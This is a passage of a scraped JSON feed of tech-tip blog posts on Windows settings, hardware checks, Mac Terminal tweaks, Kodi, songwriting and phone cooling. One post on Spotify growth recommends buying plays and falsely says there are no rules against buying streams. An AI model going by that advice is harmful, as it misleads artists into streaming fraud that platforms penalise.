WinSxS , and possibly others.\nIn UEFI-based systems, winload.exe is called winload.efi and can be found in the same System32 folder. The EFI extension is only executable for the boot manager that exists in the UEFI firmware.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWnnrutu8CdnLGdXaGyor7NZpibp6Wperi1zaWmmpyVrbI%3D\n","link":"/post/what-is-winload-exe-learn-about-winload-exe/","section":"post","tags":null,"title":"What is Winload.exe? learn about Winload.exe"},{"body":"Windows 10 is now very popular and accounts for the majority of users in the world, because of that, Windows 10 has a lot of beautiful background images. In this article, the Software Tips will send you the best Windows 10 background images with different resolutions suitable for many screen resolutions.\n  Wallpaper Win 10 2K extremely beautiful 2560x1440\n  Wallpaper Win 10 2K ultra-sharp 2560x1440\n  Wallpaper Win 10 2K beautiful 2560x1440\n  Win 10 4K ultra sharp wallpapers 3840x2160\n  Best Win 10 4K wallpapers 3840x2160\n  Best Win 10 wallpapers 2560x1600\n  Wallpaper Win 10 beautiful 1920x1200\n  Win 10 wallpapers high resolution 2560x1600\n  The most beautiful simple Windows 10 wallpaper 2560x1600\n  Wallpaper Win 10 simple but beautiful 2560x1600\n  Wallpaper Win 10 Full HD extremely beautiful 2560x1600\n  Best Win 10 Full HD wallpapers 1920x1080\n  Wallpaper Win 10 Full HD beautiful 1920x1080\n  Wallpaper Win 10 Full HD extremely beautiful 1920x1080\n  Wallpaper Win 10 Full HD 1920x1080\n  Wallpaper Win10 2K extremely beautiful 2560x1440\n  Very nice Windows 10 2K wallpaper 2560x1440\n  Best Windows 10 4K wallpapers 3840x2160\n  Beautiful Windows 10 4K wallpapers 3840x2160\n  Beautiful simple Windows 10 4K wallpaper 3840x2160\n  Windows 10 4K 3840x2160 wallpaper\n  Best Windows 10 wallpapers 1920x1080\n  Beautiful Windows 10 wallpapers 2560x1440\n  Windows 10 high resolution 2560x1600 wallpaper\n  Wallpaper Windows 10 high resolution 1920x1080\n  The most beautiful simple Windows 10 wallpaper 2560x1600\n  Best Windows 10 Full HD wallpapers 1920x1080\n  Beautiful Windows 10 Full HD wallpapers 1920x1080\n  Wallpaper Windows 10 Full HD 1920x1080\n  Windows 10 wallpaper 1920x1200\nIn the article are the Windows 10 wallpapers with the highest resolution and the most beautiful. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kxKq6jGpnZq%2BRobmxrc%2BeqWahnZa0pr%2BMrZ%2BeZZKawLV51qKlnaenqHpyfIywmKWkoJa9pr4%3D\n","link":"/post/win-10-wallpaper-images-the-best-windows-10-wallpaper/","section":"post","tags":null,"title":"Win 10 wallpaper images, the best Windows 10 wallpaper"},{"body":"Checking the laptop configuration, the computer is essential when you want to know if the hardware in the device is as accurate as the external sticker, or when you need to buy the right hardware for the upgrade. machine.\nTo check the computer configuration information on Windows XP, Vista, 7, 8 / 8.1 and Windows 10 you can use the dxdiag command on cmd, look at the PC's Properties or use support software. In the article below, TipsMake.com will guide you how to check, see the hardware configuration on the computer quickly, simply but still ensure to provide enough computer information needed.\n4 HOW TO CHECK COMPUTER CONFIGURATION 1. Check computer information with msinfo32 command 2. Use Computer Properties to see the laptop and computer configuration 3. View the computer information with the dxdiag command 4. Check computer and laptop configuration using CPU-Z You can click on each item to move quickly to how to check the computer configuration you are most interested in. Let's go to details\n1. Check computer information with msinfo32 command For Windows 8.1 / 10, on the keyboard you press the window + R, enter msinfo32 to view all computer information, not only the configuration but also the information about hardware and software with the same Other components on the machine.\n  Enter the command to view computer information:\n  The System Information window appears, allowing you to see a lot of system parameters such as: Operating system name with 32bit or 64bit Windows version, system name, computer manufacturer, processor, pull down a bit of RAM parameters, . If you want to know details about hardware, software or other components that can be navigated in the left menu.\n  2. Use Computer Properties to see the laptop and computer configuration This is the simplest operation, widely used on Windows versions from XP, Vista, 7 . to Windows 10.\nFor Windows 8 and above, right-click on This PC\u0026gt; Properties icon:\n    View a simple Windows 8.1 computer configuration\nFor Windows 7 and earlier, go to Start\u0026gt; right-click My Computer or right-click My Computer icon right on the desktop and select Properties :\n  Simple way to check computer information\nHere, we will know the operating system information, CPU, RAM, Windows activation status, user name, computer name and some other system settings on the left:\n  Basic information and configuration of the computer is displayed here\nIn System type you will know that the computer is installed with 32-bit Windows or 64-bit Windows.\n3. View the computer information with the dxdiag command Similarly, this dxdiag command is very \"ancient\" but still effective and gives more detailed information than the first way. To do this, open the run ( press window key + R ), type dxdiag then Enter :\n  Use the dxdiag command to check the computer configuration\nDxdiag will display the same information as Computer Properties , there are also parameters on the screen (in Display), sound - Sound and input devices, support (in Input, here is mouse and keyboard):\n  4. Check computer and laptop configuration using CPU-Z Download CPU-Z software for free Download CPU-Z software We can install CPU-Z software on the computer to check hardware parameters and information. The program will provide users with the necessary information about the entire configuration of the device.\nAfter installing the CPU-Z program, you will see the CPU-Z interface appear with the computer's parameters: CPU, Caches, Mainboard, SPD, Graphics, Bench and About. Each tab will give us detailed information about the configuration of the device.\n1. CPU tab:\nThis tab gives us information about Intel core i3-5005U CPU name , which has a speed of 2.00GHz . Next, on the bottom right corner there are Cores 2 Threads 4 parameters indicating the CPU has 2 threads of 4 threads.\n  2. Tab Caches:\nThis section will provide CPU cache information.\n  3. Tab Mainboard:\nThis tab will give you information about your motherboard on the computer such as vendor name (Manufacturer), model (Model), BIOS version (Version), .\n  4. Tab Memory:\nThe information of RAM on the Memory tab includes 4GB RAM capacity , DDR3 RAM type and 798.1 MHz RAM speed as shown below:\n  5. SPD tab:\nYou will know the specific parameters of each RAM slot on the computer.\n  We can check the number of RAM slots on the computer and the RAM parameters in each slot. Click on the down arrow at Slot # 1 , appear a list of Slot # 1 and Slot # 2. Depending on each device, there are different RAM slots, which will vary.\n  Next to see the parameters of each slot, select Slot # that slot. Without information, it is not plugged in yet. The RAM does not need to be plugged into the proximity slot.\nAs in the example, Slot # 1 is plugged in 4GB RAM, Slot # 2 is not plugged in RAM.\n  6. Tab Graphics:\nThis tab will provide accurate information about your computer's Video Card . At the main tab interface, clicking Display Device Selection will display a list of Display Cards available on your computer, including onboard and removable cards.\nOnboard cards are available on computers, named Intel (R) HD Graphics. The removable card is not necessarily on the computer. As shown below, my device only has Intel Onboad Card (R) HD Graphics 5500 only.\nNext, when we click on any video card, the details of that video card will appear. In the picture, Intel (R) HD Graphics 5500 has 1GB capacity.\n  7. Bench Tab:\nCheck CPU health when running in different modes.\n  8. About: Tab\nFinally, the information about the CPU-Z version we are using, the author, the home page of CPU-Z software, the Windows operating system in use, DirectX.\n  Here are 4 methods to help you check your computer's configuration. CPU-Z software is one of the most popular computer-checking tools today, and is widely used by many users.\nVIDEO INSTRUCTIONS TO CHECK COMPUTER CONFIGURATION\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kgW6%2FyKanpZ1drK66v4ytpmabmJqwrHnToZxmm5%2Bjs6qz1KuYraGfo3qiusNmn5qqlKyus7GMoqWfp6KirrW1zqdkqJ5dmLyuvNStnKurXZa7pXnLmqetp6Co\n","link":"/post/4-simple-ways-to-check-the-configuration-and-hardware-information-of-computers-and-laptops/","section":"post","tags":null,"title":"4 simple ways to check the configuration and hardware information of computers and laptops"},{"body":"Increasing your streams on Spotify doesn't happen overnight, but with these six essential tips, you'll be well on your way!\n  Choose A Catchy And Meaningful Song Title One of the ways to increase your streams is by choosing a song title you know will interest listeners. People are more likely to click on something that stands out from the rest, so make sure it's catchy and meaningful!\nIt doesn't have to be too long either—just enough for them to find what they're looking for easily. If you have a long song title, consider breaking it up into two shorter ones. Having a catchy and meaningful title will make it easier for people to find your music and get more Spotify streams!\nBuy Spotify Plays It's not uncommon for artists to buy Spotify plays to increase the number of streams their song gets. However, when left with no choice and want to make it big in Spotify, this is a tactic you should consider. Buyers can choose from different packages so that you can get a certain number of listeners that's right for your budget and needs.\nBuying Spotify plays will help your song rank higher on the platform, and in turn, give it more exposure to listeners. This may seem like cheating, but given that there are no rules against buying streams (and technically, they're not even actual listens), it's an effective way to get more streams. Actually, more artists are now using this tactic to help their music get noticed by new listeners.\nMake Sure Your Profile Is Up To Date with Clear Photos, Bio, And Links To Social Media Accounts Your profile is the gateway to your music, so make sure it's up to date with accurate information. You want potential listeners to know what they're clicking into and be able to find you easily on other social media platforms.\nInclude a bio that includes where you went to school, if you've toured or played at any major venues in the past, and what you sound like. If possible, also include links to your social media pages so that listeners can hear from you on other platforms too! It makes it easy for people to find out more about your music—plus, they'll be able to follow the progress of your career with just a few clicks.\nAdd Relevant Tags For Other Users Who Might Enjoy The Same Music As You Tags are one of the best ways to get additional listeners. You can use tags in song titles, profiles, and descriptions to associate your music with others who may enjoy it. For example, if you play many grunge rock songs on Spotify that mention coffee shops or rainbows in their lyrics, then add those keywords as well! If you're a pop musician who sings about heartbreak, then put that in your description.\nIt's an effective way to get more Spotify streams by targeting listeners interested in the same genre or with similar interests as yours!\nInclude Track Artwork That Will Catch Someone's Attention When Scrolling Through Their Feed On Spotify   Spotify has many different arts to choose from, but it's still important that you include some on your own. This will help people find your music when scrolling through their feed on the app or website.\nIf possible, try using an image with high contrast to stand out against the other photos and artwork already there. If you don't have an image, try using a screenshot of your song or album cover.\nThis is one way to get more Spotify streams: post good quality images that will stand out and catch people's attention!\nPut Yourself In The Listener's Shoes One of the best ways to get more Spotify streams is by putting yourself in the listener's shoes. Ask yourself, \"If I was listening to this song on Spotify, what would make me want to play it again?\"\nIt may be a catchy chorus or verse that you really like—whatever will inspire them to listen again and share their thoughts on the song. If you don't know, ask for feedback from a friend or colleague who knows your music well and has an opinion about it. You can also try to use this method on other songs to see what makes them so popular!\nIf you want to get more Spotify streams, make sure your song title is catchy and meaningful. It would be best if you also thought of buying Spotify plays to attract traffic to your platform. Make sure your profile is updated with clear photos, bio, and links to social media accounts before adding tags for other users who might enjoy the same type of music as you do or including track artwork to catch someone's attention when scrolling through their feed on Spotify. If all else fails, put yourself in the listener's shoes by thinking about what kind of songs they listen to at different points throughout a typical day.\nncG1vNJzZmismaXArq3KnmWcp51ktKbAjKamq51dqL2wwMifsGarpKeyornSZq6irJhiwamx0p5kb2WVqMCmutOimKVlpJ69tA%3D%3D\n","link":"/post/get-more-spotify-streams-with-these-6-essential-tips/","section":"post","tags":null,"title":"Get More Spotify Streams With These 6 Essential Tips"},{"body":"The stronger the phone, the more heat it emits.To keep the device cool, many phones have the ability to dissipate heat with water.What are they and how do they work?\nSmart phones are now like pocket computers with considerable power, with CPUs and GPUs more powerful than older desktops.It is also because of 'too much power' in such a small area so keeping the hardware cool is also a challenge for the manufacturer.\nPhone manufacturers have to find a reasonable solution for their phones to run normally when high capacity is required, and water cooling system is probably a solution.However, this system is different from the PC, because there is practically no water flow through the system.\nWater-cooling capabilities have recently been mentioned on the Galaxy Note 9 and Pocophone but these are not the first phones to use this cooling system.Earlier, Samsung also introduced a similar solution on Galaxy S7.\nHow does the water-cooled system work on the phone?\nOn the Galaxy S7, Samsung uses copper heat pipes to bring heat out of the CPU, especially when the chip has to work hard.There is a bit of liquid in this tube, but not so much that it is obvious when cutting the tube.(Many people checked when opening the phone).\nInstead, this cooling system works by condensation.When the processor is too hot, the liquid will evaporate, keeping the CPU cool.This vapor is transmitted to the end of the heat pipe, condensing into liquid.This process, used together with TIM carbon fiber (Thermal Interface Material) will be very effective to cool the phone hardware.\nCurrent phones all use the same solution, but Samsung has made a clear statement about how it works with the 'carbon water cooling system' on Note 9.\nSamsung knows that the Note 9 needs a cooling system over S7 (or any previous phone).To do so, they used a larger heat pipe and added a copper layer between the two layers of heat to transfer more heat.\n  Cooling system on Note 9\nThe whole cooling system is arranged into layers.Just above the processor is a carbon fiber layer (with very good heat transfer capacity) below a piece of copper.There is a layer of unknown heat transfer material (perhaps a form of silicon) and then a copper heat pipe.Right above the tube is the heat transfer bar to keep the heat concentrated in one place.\nOther phones are similar in structure - or simpler but basically the same.Water only works to turn into steam, so it is perhaps more accurate to call it a cooling system.\nSee more:\nWhat is CPU heat sink and how does it work? What is bezel border?What is borderless screen design? What is Megapixel? ncG1vNJzZmismaXArq3KnmWcp51ktbDDjJ2mnqtdqbWmedGam6KZpKS%2FbrvNZquhnV2ltbC6xGauqKqb\n","link":"/post/how-does-the-radiator-on-the-phone-work/","section":"post","tags":null,"title":"How does the radiator on the phone work?"},{"body":" This wikiHow teaches you how to customize your Mac computer using Terminal commands. Terminal is a command prompt program that comes on every Mac computer and allows users to input detailed commands to customize the way the operating...\nPart 1of 2:\nOpening the Terminal Click Spotlight   . It's in the top-right of the screen on the top menu bar. This opens a search bar in the middle of the screen.  Type in terminal and press ⏎ Return. This searches for and opens a new Terminal window. You can also open Terminal using the Finder: Click Finder. Click Applications. Click Utilities. Double-click Terminal.  Part 2of 2:\nUsing Terminal Commands Add a message to your login screen. You can add a message to your login screen by typing: sudo defaults write /Library/Preferences/com.apple.loginwindow LoginwindowText \"If this laptop is lost, please call 555-555-5555. Cash reward.\"  Then press ⏎ Return. Replace the message in the quotation marks with a message of your own. This will display this text in your login screen at startup.  Add blank spaces to your dock. You can add blank spaces to the application dock by typing: defaults write com.apple.dock persistent-apps -array-add '{\"tile-type\"=\"spacer-tile\";}' killall Dock  Press ⏎ Return. This will add a blank space to the dock each time you enter this command. You can click and drag the space to move it around in the dock, creating a divider for organization. If you're prompted to enter your password, type your password and press ⏎ Return. To delete a blank space from the dock, simply drag the space out of the dock until it says \"Remove\" then let it go.[1]  Prevent your Mac from going to sleep. To prevent your Mac from going to sleep, simply type: caffeinate  Press ⏎ Return. This will keep the Mac from going to sleep or logging you out from inactivity. To allow the Mac to sleep again, press Control+C into Terminal to end the \"caffeinate\" task.  Hide a Folder. If you created a folder on your desktop called \"HiddenFolder\", and your Mac username was \"Steve\", you could hide that folder by typing: chflags hidden \"/Users/Steve/Desktop/HiddenFolder\"  Then press ⏎ Return. Replace \"Steve\" with your own username and replace \"HiddenFolder\" with your folder's name. You can also just type chflags hidden then drag and drop your folder directly\u0026nbsp; into the Terminal window, then press ⏎ Return. On the Desktop or in any Finder window, you can toggle between showing and not-showing hidden files by pressing ⌘ Command+⇧ Shift+..  Unhide a folder. To unhide the same folder in the previous step, you would type: chflags nohidden \"/Users/Steve/Desktop/HiddenFolder\"  Press ⏎ Return. This will make the folder a normal folder that is always shown.  Change the location of your screenshots. By default, screenshots are saved directly on the Desktop. So if you wanted the screenshots to be saved in a folder on the Desktop called \"Screenshots\" you would type: defaults write com.apple.screencapture location \"/Users/Steve/Desktop/Screenshots\" killall SystemUIServer  Then press ⏎ Return. Replace \"Steve\" with your own username and replace \"Screenshots\" with the folder name you created. You'll need to create the folder first for this will work properly\u0026nbsp;, otherwise the screenshots will end up on the desktop by default.  Add a recent or favorite items stack to the dock. You can add a recent or favorite items stack that you can customize in your dock by typing: defaults write com.apple.dock persistent-others -array-add '{ \"tile-data\" = { \"list-type\" = 1; }; \"tile-type\" = \"recents-tile\"; }'; killall Dock  Press ⏎ Return. The new stack will appear next to the trash can. You can then right-click (Control+click) to change the stack to be recent applications, documents, servers, or even favorite volumes or items. To remove the stack from the dock, right-click (Control+click) and select \"Remove from Dock\".  Disable the Dashboard completely. If you don't use the dashboard on your Mac and don't want it to use of any system resources, you can turn it off entirely by typing: defaults write com.apple.dashboard mcx-disabled -boolean yes; killall Dock  Press ⏎ Return. To re-enable the Dashboard, you can repeat the same command but change the \"yes\" to \"no\".   Micah Soto Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGaxn6q%2FbrnAnGSuq5mjtG7Ax55krZ2ioravrcs%3D\n","link":"/post/how-to-customize-your-mac-using-the-terminal/","section":"post","tags":null,"title":"How to Customize Your Mac Using the Terminal"},{"body":" Sometimes, it's tough to come up with good ideas for songs, but don't get discouraged! If you're running into trouble, take some time to get your creative juices flowing. Open yourself to your emotions and look for inspiration in the world...\nMethod 1of 3:\nFinding Inspiration  Visualize the message, theme, or moment that you want to capture. If you want to write a song about a specific subject, sit in a quiet place and clear your mind. Think about your subject matter, or look at it if it's an object, image, or environment. Allow it to fill your emotions, and try to put your experience into words.[1] Suppose you just had a great first date and feel like writing a song about it. Clear your mind, replay the night in your head, and let your thoughts and feelings percolate. Don't filter your thoughts or try to force yourself to write down words. Just focus on putting yourself in the moment and letting it fuel your emotions. If you get inspired and words do come to mind, write them freely without making any edits.   Allow your mind to wander while you're doing routine tasks. Let your creative juices flow when you're washing the dishes, taking a shower, driving, or going for a walk. Think about a memory, person, or emotion, or just clear your thoughts and be open to any ideas that float to the surface.[2] If an idea for a song, melody, or lyric comes to you, write it down or record yourself using a cell phone app.   Analyze other artist's lyrics and song structures. Read song lyrics from a variety of genres and time periods. Take note of how artists structured verses and choruses, rhyme schemes, and rhythmic patterns. Identify the tone, notice devices like similes and metaphors, and ask yourself who the artist's words are addressing.[3] Look for similarities and differences across genres and periods. Use your insights to inform your own tastes, set your musical goals, and decide the type of song you want to write. For instance, contemporary pop tracks are typically catchy, simple, and make use of repetition. Many alternative hip hop lyrics are rhythmically and thematically complex, while country lyrics often aim to tell a story with a clear beginning, middle, and end.   Look for inspiration in music, literature, film, and other art forms. Immerse yourself in a classic album, riveting novel, striking painting, or brilliant film. Put yourself within the work of art's story or moment. Let it play out in your mind and trigger your emotions.[4] If you have a particular theme in mind, look to works of art with similar tones. For instance, listening to love songs or watching a romantic drama can help you get inspired if you want to write a love song of your own. EXPERT TIP\n Halle Payne\nSinger/Songwriter Halle Payne has been writing songs since the age of eight. She has written hundreds of songs for guitar and piano, some of which are recorded and available on her Soundcloud or Youtube channel. Most recently, Halle was a part of a 15-person collaboration in Stockholm, Sweden, called the Skål Sisters.  Halle Payne\nSinger/Songwriter\nStep outside of yourself to push the envelope. Halle Payne, songwriter, tells us: \"It doesn't have to be all about you. Put yourself in another character's mind, and write from their perspective. It could be dark and tortured, funny, or just plain weird. Even if it's not a hit, this kind of exercise will stretch your songwriting abilities.\"\n  Draw pictures and imagine stories about your sketches. If you think better in images than words, make quick doodles or sketch a scene or feeling. Look back at your drawings and think about what's going on in the images in front of you.[5] Even nonsense doodles can add colorful details to song lyrics. Suppose you drew a stick figure trying to balance an elephant, piano, and sofa on top of each other. You could use that image as a metaphor or simile in a song about dealing with tons of pressure.  Method 2of 3:\nComing up with Lyrics  Write freely for 15 to 30 minutes every day. Writing is like exercising your muscles, so stick to a set routine. Without editing or filtering your thoughts, write whatever comes to mind for 15 to 30 minutes a day. Don't worry if most of what you write is unusable. Now and then, you might come up with a good line that you can keep exploring.[6] Write, edit lyrics, and brainstorm music in a quiet place. You won't be able to concentrate to the best of your ability if the television is on or there's lots of commotion around you.   Keep a notepad on you and scribble notes throughout the day. When you're out and about and think of an idea, jot it down or record it on your phone. Even if you like to record yourself singing or speaking, keep a pad and pen on you in case your device dies.[7] Great ideas can come in the middle of the night when you're in a dreamy state, so keep a pad on your nightstand. Even if it doesn't make much sense when you read it in the morning, it may be the germ of a great theme, tune, or lyric.   Find a good line in your notes and expand on it. Look through your daily pad or journal entries, free-writing notes, and anything else you've written. Depending on how much you write, review your pages daily, every few days, or every week or so. Try to find a good line, phrases, or a paragraph, then work on developing that idea.[8] You may write a week's worth of entries and find 1 or 2 lines that seem to click. Keep exploring that idea with both free-writing and purposeful writing sessions. Try to come up with passages that further develop the idea. Keep in mind good songs are often conversational. Aim for simplicity, especially when you're first coming up with lyrics. You can worry about rhymes, rhythms, and colorful imagery later.[9]   Refine your passages into rhyming verses. Once you've put together your raw lyrics, work on tweaking their rhythm and setting up a rhyme scheme. Try using a rhyming dictionary to swap out words in your verses and create pleasing sounds.[10] Keep in mind you shouldn't sacrifice meaning or emotional content just to make a rhyme. Additionally, the rhyme scheme doesn't always have to be strict or perfect. For instance, take the lyric 'Tell me something, girl / Are you happy in this modern world?' 'Girl' and 'world' don't rhyme perfectly, but they share enough vowel and consonant sounds to please the ear. Tip: Your lyrics and melody need to work together harmoniously rather than box each other into awkward, forced spots. If you write lyrics first, develop your melody as you refine them instead of setting them in stone before coming up with a tune.[11]\n Method 3of 3:\nBrainstorming Melodies  Play with tunes and chords on your instrument of choice. Start by playing simple chords on your piano, guitar, or whichever instrument you play. If you have a specific theme or lyrics, think about the tone your melody should convey. If it's dark or sad, you might want to stick to minor chords. If it's happy and up-tempo, you might be better of with major chords.[12] Don't worry if you don't play an instrument. You can still come up with a catchy tune by humming or whistling. Then work with a friend or relative who plays an instrument to refine the tune and draft sheet music.   Try coming up with a melody based on a lyric. If you've already written lyrics, try singing the first line of a verse or chorus in an array of tunes and tempos. Play around with singing higher notes at different words to add emphasis. Keep experimenting until you find a memorable melody that captures the tone you're trying to achieve.[13] If you've written lyrics, ask a musical friend how they hear your words. Bounce ideas off of each other and sing the words in different improvised tunes.[14]   Build complementary tunes around your base melody. For the verses, craft a progression of tones, or notes, in standard patterns. In a simple melody, the first line often ascends the scale, or rises in pitch, then the second line descends in response.[15] Sing the children's song, 'Twinkle, twinkle, little star / How I wonder what you are.' Notice how the first line's notes rise in pitch, then the second goes lower. The verses' melody repeats itself, but that doesn't mean it should be predictable or boring. Rhythm is key, so experiment with combinations of quarter, eighth, and sixteenth notes to give your melody fresh, catchy rhythmic accents.   Create contrasting rhythms and tunes to give your song variety. While a song's verses repeat a melody, the chorus presents an opportunity to add contrast. In many great songs, the chorus surprises the listener with tunes and rhythms that leap out from the verses.[16] Contrast is the key to the verse-chorus relationship. One musical passage repeated over and over isn't interesting, so grab your listeners' attention with rhythmically and melodically diverse sections. Example: Consider Adele's 'Rolling in the Deep,' in which the chorus's long, soaring high notes seem to jump out of the lower-register, rhythmically complex verses and pre-chorus.\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp%2BVqXqou86dZKynnpx6qrDEmqo%3D\n","link":"/post/how-to-get-good-song-ideas/","section":"post","tags":null,"title":"How to Get Good Song Ideas"},{"body":"Starting with Windows 8.1, My Computer in Windows 7 has been changed to This PC. And when open user This PC will default to 6 folders including Desktop, Documents, Download, Music, Pictures, Videos at the top, below will be computer drives.\nPreviously, if the user did not want to display these 6 folders and wanted to hide them on This PC, proceed to delete the related keys in the system's Registry. However, on Windows 10 this implementation is no longer applicable, although it is necessary to intervene inside the system. Instead of deleting each corresponding key, we will have the option to hide or show these 6 folders. So how to hide 6 folders in This PC on Windows 10 in detail? The following article of Network Administrator will help you to implement.\nHow to completely hide a folder with a single command on Windows How to hide files, show hidden files, view hidden folders and file extensions on Windows 7/8/10? As mentioned above, to delete the folder in This Windows 10 Windows PC will proceed to intervene inside the system. This operation will not affect the system or cause any errors during use.\nWhen opening This PC on Windows 10, 6 folders will be displayed by default as shown below.\n  Step 1:\nPress the Windows + R key combination to open the Run dialog box and then enter the Regedit keyword , click OK to access.\n  Step 2:\nIn the Registry Editor system interface access the directory under the path below:\nHKEY_LOCAL_MACHINE\u0026gt; SOFTWARE\u0026gt; Microsoft\u0026gt; Windows\u0026gt; CurrentVersion\u0026gt; Explorer\u0026gt; FolderDescriptions.   \nStep 3:\nClick FolderDescriptions to hide 6 folders in This PC on Windows 10.\nTo hide the Documents folder, look for the folder {f42ee2d3-909f-4907-8871-4c22fc0bf756} and then click on the PropertyBag subdirectory.\n  Step 4:\nWhen you look to the right, you will see ThisPCPolicy file with Data column data is Show. This means that this Documents folder is displayed in This PC.\n  Click the ThisPCPolicy file that appears the Edit String dialog box . At the Value date switch from Show to Hide , then click OK to save the new changes. So we can hide the Documents folder.\n  Go back to the computer and open This PC interface, you will see the Documents folder no longer appear.\n  Step 5:\nSimilar to the above method, we will also perform the operation of the remaining folders Pictures, Downloads, Music and Videos.\nTo hide the Pictures folder also in the Registry Editor interface with the above directory, navigate to {0ddd015d-b06c-45d5-8c4c-f59713854639} .\nAlso click on the PropertyBag subdirectory to click on this ThisPCPolicy file . Just change the value of the file to Hide .\n  To hide the Videos folder , navigate to the folder {35286a68-3c57-41a1-bbb1-0eae73d76c95} and then click on the PropertyBag. We also moved the value of ThisPCPolicy to Hide .\n  To hide the Downloads folder , go to the folder {7d83ee9b-2244-4e70-b1f5-5393042af1e4} , click on PropertyBag and then transfer the value of ThisPCPolicy to Hide .\n  Step 6:\nWith the Desktop folder, go to {B4BFCC3A-DB2C-424C-B029-7FE99A87C641} and proceed to create ThisPCPolicy file, since it does not appear in the PropertyBag folder.\nRight-click the interface on the right and select New\u0026gt; String Value .\n  Step 7:\nName the file ThisPCPolicy and then change to Hide .\n  Step 8:\nWhen you re-open This PC, you will see that the folders will be hidden, depending on your choice. Here I choose to hide the Downloads and Desktop folders.\n  To display the hidden folders on This PC again , we access each value for each of those folders, then transfer the value from Hide to Show to display.\n  So with the above tutorial, 6 folders in This Windows 10 Windows PC have been hidden, or hidden folders option depending on the user. For the Desktop folder, you need to create the value ThisPCPolicy to do the hidden work. This PC Windows 10 will now look more compact and only display drives on your computer.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCZmbJugoyfpqWclafAbrXNZquhoaNivaR5zqdksKGemby4v4xqZw%3D%3D\n","link":"/post/how-to-hide-6-folders-in-this-pc-on-windows-10/","section":"post","tags":null,"title":"How to hide 6 folders in This PC on Windows 10"},{"body":"Previously, all Windows servers had a graphical interface. It is simply a server with a desktop like it is called now. This is because server administrators like consistency. They run Windows clients on workstations and want to have the same experience on the server. Therefore, every Windows server is built to look like the Windows client experience.\nWhen administrators have to manage a Windows server, they will use the remote client to log in to a specific server, work and then log out. Yes, sometimes they will log out, but usually just disconnect the session.\nToday administrators still do the same thing but less because Microsoft has redirected to the server operating system with little graphical user interface and has better tools for clients to manage servers. Windows remote. As a system administrator, one of the most effective toolkits you need is the Remote Server Administration Tools (RSAT). RSAT is a set of tools that allows you to manage many different Microsoft server technologies.\nThis article will show you how to download, install, and set up basic RSAT for Windows 10. What you need is a computer that uses Windows 10 Professional, Windows 10 Enterprise, or Windows 10 Education version.\nHow to download and install the RSAT tool First, you need to download RSAT for Windows 10. After downloading, running, accept the license agreement and follow all reminder notifications. These operations will install RSAT on the system, but your job is not done yet. Because RSAT has many different tools, you need to see these tools and activate the features you need. To do so, go to the Programs and Features section of Control Panel and click Turn Windows features on or off .\n  A window will appear, scroll down until you see the Remote Server Administration Tools section . Below this section, you will see a lot of different tools to activate.\n  From here, you can enable and disable any tool you don't want to use. Then, you can find these tools by typing the tool name in the search bar Cortana.\n  Here you can see a search for Active Directory tools included with RSAT. You can see inside each of these tools there are many other tools. Each toolkit depends on internal applications but includes remote tools that users will need to manage.\nSee more:\nInstall and use the Remote Server Administration Tools (RSAT) for Vista Install RSAT for Windows 7 Remote computer management in Windows Server 2008 R2 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmqZ6ln6mybr%2FEq62eql2Wsa61zaKqraqRqbawuoytpqiko2K%2FtK3TZqCnZaeeu6W71qxkamg%3D\n","link":"/post/how-to-install-remote-server-administration-tools-rsat-in-windows-10/","section":"post","tags":null,"title":"How to install Remote Server Administration Tools (RSAT) in Windows 10"},{"body":"However, if you don't like or have no need to use these special effects, they can be easily disabled with just a few simple taps. Here's how to do it.\nTurn off transparency effects on Windows 11 First, you access the Windows settings menu by searching for the keyword ' Settings ' in the Start menu and clicking the gear icon that returns. Or, you can also press Windows + i on your keyboard.\n  When the Settings menu opens, click ' Accessibility ' in the list on the left, then click on the ' Visual Effects ' item in the right interface, as shown below.\n  In the Visual Effects visual effects settings, click the switch next to the ' Transparency Effects ' option to switch it back to the ' Off ' state.\n  Immediately, Windows 11 will change all transparency effects being applied to the usual opaque style. Changes are saved and applied automatically, so you can close the Settings window and experience the changes.\nIn case you want to re-enable the transparency interface effect, open Settings and navigate to Accessibility \u0026gt; Visual Effects , then switch ' Transparency Effects ' to 'On'.\nWish you have a good experience with Windows 11!\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZK2glWLBs63NrKeaqpWjsLp5xJ%2BdnpukYryvedaipZ2np6h6cn0%3D\n","link":"/post/how-to-turn-off-the-transparency-effect-on-windows-11/","section":"post","tags":null,"title":"How to turn off the transparency effect on Windows 11"},{"body":" This wikiHow teaches you how to watch Live TV using Kodi. Kodi is a free and open sourced media player app. It has the ability to stream live TV using IPTV. Before you can watch Live TV with Kodi, you will need to set it up. You will also...\nPart 2of 2:\nWatching Live TV On Kodi  Click to open Kodi. It's the app that has a blue diamond with a \"K\" in the middle.\n  Select TV. Place the mouse cursor over \"TV\" to see the live TV options.\n  Click Channels. This will list all the channels in the column to the left.\n  Click a channel. This will load the live channel. Some channels may not work. To change channels, click the icon that resembles a remote in the lower-right corner. Then select a different channel. To exit Kodi, click the white square in the lower-left corner. Click the power icon in the upper-left corner. It's the icon that has a circle with a line through the top. Then click \"Exit\".   Marvin Fry Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq%2BRqbCpecuirZ5lpKt6sLqMpKadoV2ku268wmamq2WdlrA%3D\n","link":"/post/how-to-watch-live-tv-on-kodi-on-pc-or-mac/","section":"post","tags":null,"title":"How to Watch Live TV on Kodi on PC or Mac"},{"body":"Normally, when clicking on the application icon on the Mac dock bar, the open windows of that application will be displayed. And to be able to find which window you are working on, you need to manipulate it, especially if we open multiple windows it will take some time.\nThis is different from Windows, when we hover over the open application icon on the computer in the taskbar, if you open multiple windows you just need to select a minimized window to do it. Immediately that window will appear on the computer interface. So can bring useful features of taskbar on Windows to the dock on Mac? The answer is yes. And the operation is also simple, just need to do with the command line only on Terminal.\n  Step 1: First, click Applications and select Utilities, then select Terminal to open the window. Or you can type the keyword Terminal on the Spotlight search engine.\nStep 2: In the new Terminal command window that appears, we will enter the following line of code:\ndefaults write com.apple.dock scroll-to-open -bool true; killall Dock\nFinally press Enter to get the command line executed. The dock bar below the screen will 